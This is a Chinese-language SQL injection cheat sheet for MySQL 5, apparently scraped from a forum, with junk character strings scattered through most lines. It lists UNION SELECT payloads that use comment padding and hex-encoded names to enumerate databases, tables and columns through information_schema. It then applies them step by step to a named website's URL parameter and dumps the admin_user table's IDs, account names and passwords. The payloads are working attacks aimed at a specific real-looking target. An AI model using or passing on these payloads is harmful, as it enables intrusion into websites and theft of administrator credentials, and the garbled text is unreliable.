查库. P! e6 C# M' i/ w6 v6 e& P* l
5 d- P* B, Z( d3 a* b
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*" g6 ?5 v1 x/ [9 L
3 p$ V. \" _: {查表
6 h& w; ~2 s: }
6 m, b& h! P' d' d# ^id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,18 C# F: m% d: K2 l, c, e5 ?
% }6 k1 i' @8 f8 X1 i' [( P2 a
查段/ n( q) W" [: q) U5 F
5 g/ `( F4 k4 X2 F7 k0 P
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1( J5 O* x! p, t" F1 f
* F+ y0 }, p$ o" J9 p0 |
+ g' t4 c1 I6 V, I$ D1 amysql5高级注入方法暴表% I) J" H4 p0 ]0 t3 R, t" w
. }$ j3 B1 R0 R/ k) f
例子如下:
- l) |0 t! t: `( a) ?% v* K; z3 R5 u2 r" x& U
1.爆表
" B+ u- c1 d g) i% W+ L8 U/ ihttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
6 W c* j2 U" j, L' s这样爆到第4个时出现了admin_user表。
$ a" i. h$ t0 o1 a- c. n8 c$ S, Y( t
2.暴字段! b7 G M: E# {4 t* r& M
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
! q3 `( b& ^6 I+ [7 C2 I: v. i0 ]8 B- r' k m3 E
; P) m% H; W. l3 Q0 }3.爆密码
( _; U0 M4 k. J2 v5 F( j a3 _2 thttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
; E8 O% u, F- @" L/ }0 x! h0 s r$ {" N; l( W0 A+ J5 ?2 J
" F2 V- C+ P9 O! a# ^' Q9 J' ^
|